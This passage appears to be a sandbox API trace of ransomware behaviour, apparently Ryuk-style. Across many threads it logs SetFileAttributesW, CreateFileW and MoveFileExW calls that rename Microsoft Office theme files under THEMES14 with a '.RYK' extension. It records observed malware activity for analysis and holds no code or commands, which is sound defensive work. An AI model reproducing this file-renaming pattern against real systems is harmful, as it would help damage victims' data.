	[0166.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.498] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 556
	os_tid = 0xe38

	[0166.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0166.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 557
	os_tid = 0x7b0

	[0166.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0166.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.503] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 558
	os_tid = 0xee0

	[0166.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", dwFileAttributes=0x80) returned 0
	[0166.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.505] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 559
	os_tid = 0xf6c

	[0166.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", dwFileAttributes=0x80) returned 0
	[0166.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 560
	os_tid = 0x9a0

	[0166.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0166.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 561
	os_tid = 0x99c

	[0166.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0166.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 562
	os_tid = 0xf68

	[0166.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", dwFileAttributes=0x80) returned 0
	[0166.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.713] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 563
	os_tid = 0xc74

	[0166.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", dwFileAttributes=0x80) returned 0
	[0166.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 564
	os_tid = 0xd80

	[0166.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0166.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.711] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 565
	os_tid = 0xd9c

	[0166.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0166.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.719] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 566
	os_tid = 0x490

	[0166.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", dwFileAttributes=0x80) returned 0
	[0166.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.715] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 567
	os_tid = 0xda4

	[0166.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", dwFileAttributes=0x80) returned 0
	[0166.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.728] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 568
	os_tid = 0xb44

	[0166.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0166.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.717] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 570
	os_tid = 0xdd8

	[0166.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0166.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.948] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 571
	os_tid = 0xde0

	[0166.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", dwFileAttributes=0x80) returned 0
	[0167.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.095] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 572
	os_tid = 0xde4

	[0166.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", dwFileAttributes=0x80) returned 0
	[0167.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 573
	os_tid = 0x36c

	[0166.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0166.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.953] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 574
	os_tid = 0xe54

	[0166.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0166.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.955] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 575
	os_tid = 0xe58

	[0166.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", dwFileAttributes=0x80) returned 0
	[0167.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.099] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 576
	os_tid = 0xde8

	[0166.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", dwFileAttributes=0x80) returned 0
	[0167.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.101] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 577
	os_tid = 0x1004

	[0166.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0167.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.102] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 578
	os_tid = 0x1008

	[0166.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0166.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.961] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.961] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 579
	os_tid = 0x100c

	[0167.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", dwFileAttributes=0x80) returned 0
	[0167.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 580
	os_tid = 0x1010

	[0167.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", dwFileAttributes=0x80) returned 0
	[0167.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.120] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 581
	os_tid = 0x1014

